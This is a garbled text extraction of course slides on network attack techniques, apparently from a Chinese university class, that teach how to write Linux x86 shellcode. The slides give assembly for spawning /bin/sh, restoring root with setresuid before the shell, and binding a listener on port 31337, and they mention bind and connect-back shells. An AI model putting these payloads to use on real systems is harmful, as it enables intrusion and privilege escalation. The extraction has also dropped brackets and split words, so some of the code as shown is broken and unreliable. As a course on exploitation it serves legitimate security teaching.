版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、1计算机网络攻击和防护技术第五课2OutlineAssembly LanguageShell CodeFrom C to Assembly to ShellcodeShell-Spawning ShellcodePort-Binding Shellcode Connect-back Shellcode3OutlineShell CodeExploit payloadArchitecture-specific machine instructionsWritten in assembly language, then converted to machine languageNeed diffe
2、rent shellcodes for different architecturesSelf-contained programAbsolute control over the exploited programDo anything a hacker wantsSpawn a shellOpen a port/service for hackerOpen a connection back to attackerAdd password into the /etc/passwd fileRemove lines from syslogNOP SledShell CodeRepeated
3、return address4From C to Assemblyhelloworld.cLinux system callEvery system call is enumeratedCan be referenced by number when making the calls in assemblylinux_system_call.pdf#include int main() printf(Hello World.n); return 0;5From C to AssemblyIntel assembly, to do system callUse int to send inter
4、rupt signal to kernelint 80 is used for system call.Int 80 will use four registers EAX: which system callEBX, ECX, EDX:1st, 2nd, 3rd argument to the system call helloworld.asmsection .data ; data segmentmsg db Hello, world!, 0 x0a ; the string and newline charsection .text ; text segmentglobal _star
5、t ; Default entry point for ELF linking_start: ; SYSCALL: write(1, msg, 14) mov eax, 4 ; put 4 into eax, since write is syscall #4 mov ebx, 1 ; put 1 into ebx, since stdout is 1 mov ecx, msg ; put the address of the string into ecx mov edx, 14 ; put 14 into edx, since our string is 14 bytes int 0 x8
6、0 ; Call the kernel to make the system call happen ; SYSCALL: exit(0) mov eax, 1 ; put 1 into eax, since exit is syscall #1 mov ebx, 0 ; exit with success, ; only need one argument, so ecx, edx not set int 0 x80 ; do the syscall6Assembly code to executable codeAssembly code need to be compilednasm f
7、 elf helloworld.asm-f elf will assemble the helloworld.asm into an object foile reade to be linked asn an ELF libraryld helloworld.oGenerate executable file a.outIt works, however, it is not a ShellcodeShellcode need to be self contained and is not required linkingShellcode is injected into running
8、program, not a standalone executable programCannot declare data layoutShould be position-independentReady to take over control of the processor regardless of its current state7Stack based shell codeStack commandspush pop call retStack based exploits are possible by call and ret instructionsIf ret ad
9、dress is overwritten, program will be redirectOverwrite the stored return address on the stack before the ret instructionString can be placed directly after a call instruction, the address of string will be pushed to the stack 8Helloworld1.sWithout using any memory segmentWill not be linked into an
10、executableCan be injects into an existing processIt will execute position independent wayWill it work if used as shellcode?ot_working_shellcode.pdfHelloworld1.sBITS 32 ; tell nasm this is 32-bit code call mark_below ; call below the string to instructions db Hello, world!, 0 x0a, 0 x0d ; with newlin
11、e and carriage return bytesmark_below:; ssize_t write(int fd, const void *buf, size_t count); pop ecx ; pop the return address (string ptr) into ecx mov eax, 4 ; write syscall # mov ebx, 1 ; STDOUT file descriptor mov edx, 15 ; length of the string int 0 x80 ; do syscall: write(1, string, 14); void
12、_exit(int status); mov eax, 1 ; exit syscall # mov ebx, 0 ; status = 0 int 0 x80 ; do syscall: exit(0)9Why it doesnt work?Cannot use gdb to debug shellcodeCan use core file to debugCore file will dump the running programs memory and other information into fileCan use gdb to show the content when pro
13、gram crashes.why_shellcode_not_working.pdfRoot cause: shell remove null byte from shellcodeMaking the machine code not usableNeed to remove those null byte10Removing Null byteTrick 1:Use short jumpJump back instead of jump forwardStill have null byteswhy_shellcode_not_working.pdf helloworld2.sBITS 3
14、2 ; tell nasm this is 32-bit codejmp short one ; jump down to a call at the endtwo:; ssize_t write(int fd, const void *buf, size_t count); pop ecx ; pop the return address (string ptr) into ecx mov eax, 4 ; write syscall # mov ebx, 1 ; STDOUT file descriptor mov edx, 15 ; length of the string int 0
15、x80 ; do syscall: write(1, string, 14); void _exit(int status); mov eax, 1 ; exit syscall # mov ebx, 0 ; status = 0 int 0 x80 ; do syscall: exit(0)one: call two ; call back upwards to avoid null bytes db Hello, world!, 0 x0a, 0 x0d ; with newline and carriage ; return bytes11Removing Null byteTrick
16、2:Change to equivalent instructionsRegister widthax, bx, cx, dxal, ah, bl, bh, cl, ch, dl, dhAddressingjump shortuse xor to clear registerUse inc/dec for increase, decreaseNow all null byte removedworking_shellcode.pdf helloworld3.sBITS 32 ; tell nasm this is 32-bit codejmp short one ; jump down to
17、a call at the endtwo:; ssize_t write(int fd, const void *buf, size_t count); pop ecx ; pop the return address (string ptr) into ecx xor eax, eax ; zero out full 32-bits of eax register mov al, 4 ; write syscall #4 to the low byte of eax xor ebx, ebx ; zero out ebx inc ebx ; increment ebx to 1, STDOU
18、T file descriptor xor edx, edx mov dl, 15 ; length of the string int 0 x80 ; do syscall: write(1, string, 14); void _exit(int status); mov al, 1 ; exit syscall #1, the top 3 bytes are still zeroed dec ebx ; decrement ebx back down to 0 for status = 0 int 0 x80 ; do syscall: exit(0)one: call two ; ca
19、ll back upwards to avoid null bytes db Hello, world!, 0 x0a, 0 x0d ; with newline and carriage return bytes12Shell Spawning ShellcodeTo spawn a shell, just make a system call to execute /bin/sh shell programSystem call number 11, execve()int execve (const char *filename, char *const argv, char *cons
20、t envp);#include int main() char filename = /bin/shx00; char *argv, *envp; / arrays that contain char pointers argv0 = filename; / only argument is filename argv1 = 0; / null terminate the argument array envp0 = 0; / null terminate the environment array execve(filename, argv, envp);13Shell Spawning
21、ShellcodeAssembly shell codeLeaLoad effective address, like the address of in c languageebx+8 dereference as pointerTotal 45 bytes exec_shell.cBITS 32 jmp short two ; Jump down to the bottom for the call trickone:; int execve(const char *filename, char *const argv , char *const envp) pop ebx ; ebx h
22、as the addr of the string xor eax, eax ; put 0 into eax mov ebx+7, al ; null terminate the /bin/sh string mov ebx+8, ebx ; put addr from ebx where the AAAA is mov ebx+12, eax ; put 32-bit null terminator where the BBBB is lea ecx, ebx+8 ; load the address of ebx+8 into ecx for argv ptr lea edx, ebx+
23、12 ; edx = ebx + 12, which is the envp ptr mov al, 11 ; syscall #11 int 0 x80 ; do ittwo: call one ; Use a call to get string address db /bin/shXAAAABBBB ; the XAAAABBBB bytes arent needed14Shellcode optimizationThe smaller, the betterRemove the unneeded XAAAABBBBUse register more efficientlyUsing p
24、ush for memory operation tiny_shell.cBITS 32; execve(const char *filename, char *const argv , char *const envp) xor eax, eax ; zero our eax push eax ; push some nulls for string termination push 0 x68732f2f ; push /sh to the stack push 0 x6e69622f ; push /bin to the stack mov ebx, esp ; put the addr
25、ess of /bin/sh into ebx, via esp push eax ; push 32-bit null terminator to stack mov edx, esp ; this is an empty array for envp push ebx ; push string addr to stack above null terminator mov ecx, esp ; this is the argv array with string ptr mov al, 11 ; syscall #11 int 0 x80 ; do it15Restore Privile
26、geProgram can lower their effective privilegesseteuid(uid_t euid)setegid(gid_t egid)Shellcode can restore the privilege back to the rootSet the real user id, effective user id, and save the set-user-id of current processint setresuid(uid_t_t ruid, uid_t euid, uid_t suid)int setresgid(gid_t_t rgid, g
27、id_t egid, uid_t suid)16priv_shellBITS 32; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; zero out eax xor ebx, ebx ; zero out ebx xor ecx, ecx ; zero out ecx xor edx, edx ; zero out edx mov al, 0 xa4 ; 164 (0 xa4) for syscall #164 int 0 x80 ; setresuid(0, 0, 0) restore all root privs
28、; execve(const char *filename, char *const argv , char *const envp) xor eax, eax ; make sure eax is zeroed again mov al, 11 ; syscall #11 push ecx ; push some nulls for string termination push 0 x68732f2f ; push /sh to the stack push 0 x6e69622f ; push /bin to the stack mov ebx, esp ; put the addres
29、s of /bin/sh into ebx, via esp push ecx ; push 32-bit null terminator to stack mov edx, esp ; this is an empty array for envp push ebx ; push string addr to stack above null terminator mov ecx, esp ; this is the argv array with string ptr int 0 x80 ; execve(/bin/sh, /bin/sh, NULL, NULL)17Further opt
30、imizationCdqGet eax and store it into eax and edxMachine code 99One byte onlyChangexor eax, eaxmove al, 0 xbTOpush BYTE 11pop eaxResult is the smaller shellcodeShellcode.sBITS 32; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; zero out eax xor ebx, ebx ; zero out ebx xor ecx, ecx ; ze
31、ro out ecx cdq ; zero out edx using the sign bit from eax mov BYTE al, 0 xa4 ; syscall 164 (0 xa4) int 0 x80 ; setresuid(0, 0, 0) restore all root privs; execve(const char *filename, char *const argv , char *const envp) push BYTE 11 ; push 11 to the stack pop eax ; pop dword of 11 into eax push ecx
32、; push some nulls for string termination push 0 x68732f2f ; push /sh to the stack push 0 x6e69622f ; push /bin to the stack mov ebx, esp ; put the address of /bin/sh into ebx, via esp push ecx ; push 32-bit null terminator to stack mov edx, esp ; this is an empty array for envp push ebx ; push strin
33、g addr to stack above null terminator mov ecx, esp ; this is the argv array with string ptr int 0 x80 ; execve(/bin/sh, /bin/sh, NULL, NULL)18Port-binding shellcode#include #include #include #include #include int main(void) int sockfd, new_sockfd; / listen on sock_fd, new connection on new_fd struct
34、 sockaddr_in host_addr, client_addr; / my address information socklen_t sin_size; int yes=1; sockfd = socket(PF_INET, SOCK_STREAM, 0); host_addr.sin_family = AF_INET; / host byte order host_addr.sin_port = htons(31337); / short, network byte order host_addr.sin_addr.s_addr = INADDR_ANY; / automatica
35、lly fill with my IP memset(&(host_addr.sin_zero), 0, 8); / zero the rest of the struct bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr); listen(sockfd, 4); sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);19Port-binding
36、 shellcode-SocketcallInside kernel, all socket related function use a single system callint socketcall(int call, unsigned log *args);Possible call numbersocketcall.pdfRequired to create a listing server using port 31337Accept tcp connection20bind_port.sBITS 32; s = socket(2, 1, 0) push BYTE 0 x66 ;
37、socketcall is syscall #102 (0 x66) pop eax cdq ; zero out edx for use as a null DWORD later xor ebx, ebx ; ebx is the type of socketcall inc ebx ; 1 = SYS_SOCKET = socket() push edx ; Build arg array: protocol = 0, push BYTE 0 x1 ; (in reverse) SOCK_STREAM = 1, push BYTE 0 x2 ; AF_INET = 2 mov ecx,
38、esp ; ecx = ptr to argument array int 0 x80 ; after syscall, eax has socket file descriptor mov esi, eax ; save socket FD in esi for later; bind(s, 2, 31337, 0, 16) push BYTE 0 x66 ; socketcall (syscall #102) pop eax inc ebx ; ebx = 2 = SYS_BIND = bind() push edx ; Build sockaddr struct: INADDR_ANY
39、= 0 push WORD 0 x697a ; (in reverse order) PORT = 31337 push WORD bx ; AF_INET = 2 mov ecx, esp ; ecx = server struct pointer push BYTE 16 ; argv: sizeof(server struct) = 16, push ecx ; server struct pointer, push esi ; socket file descriptor mov ecx, esp ; ecx = argument array int 0 x80 ; eax = 0 o
40、n success; listen(s, 0) mov BYTE al, 0 x66 ; socketcall (syscall #102) inc ebx inc ebx ; ebx = 4 = SYS_LISTEN = listen() push ebx ; argv: backlog = 4, push esi ; socket fd mov ecx, esp ; ecx = argument array int 0 x80; c = accept(s, 0, 0) mov BYTE al, 0 x66 ; socketcall (syscall #102) inc ebx ; ebx
41、= 5 = SYS_ACCEPT = accept() push edx ; argv: socklen = 0, push edx ; sockaddr ptr = NULL, push esi ; socket fd mov ecx, esp ; ecx = argument array int 0 x80 ; eax = connected socket FD21Port-binding shellcodeThe above shell code will listen on 31337 port and ready to accept new tcp connectionBut not
42、 useful since user cannot control the serverCombined with shell spawning codeCan swap standard I/O file descriptors with socket file descriptorsUse dup or dup2 system call to duplicate file descriptorint dup(int oldfd)Create a copy of the file descriptor oldfdint dup2(int oldfd, int newfd)Makes newf
43、d the copy of oldfd, closing newfd first if necessary22The last version of bind shellSocket related codeDuplicate file descriptors(socket data redirection)Shell executionbooksrcbooksrcbind_shell.s23Connect back shellcodePort-binding limitationPort might not be open by firewallIf a connection is outb
44、ound, then firewall normally will allow itAfter system is compromised, Hacker can ask the system connect back to hackerConnect back shellcodeA client side softwareNeed to call socket(), connect() only24Connect back shellcodeNetcat toolTiny_web vulnerabilityConnect back shellcodeUsing connect back shell code to exploit tiny_web vulnerability 25Netcat (nc
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
评论
0/150
提交评论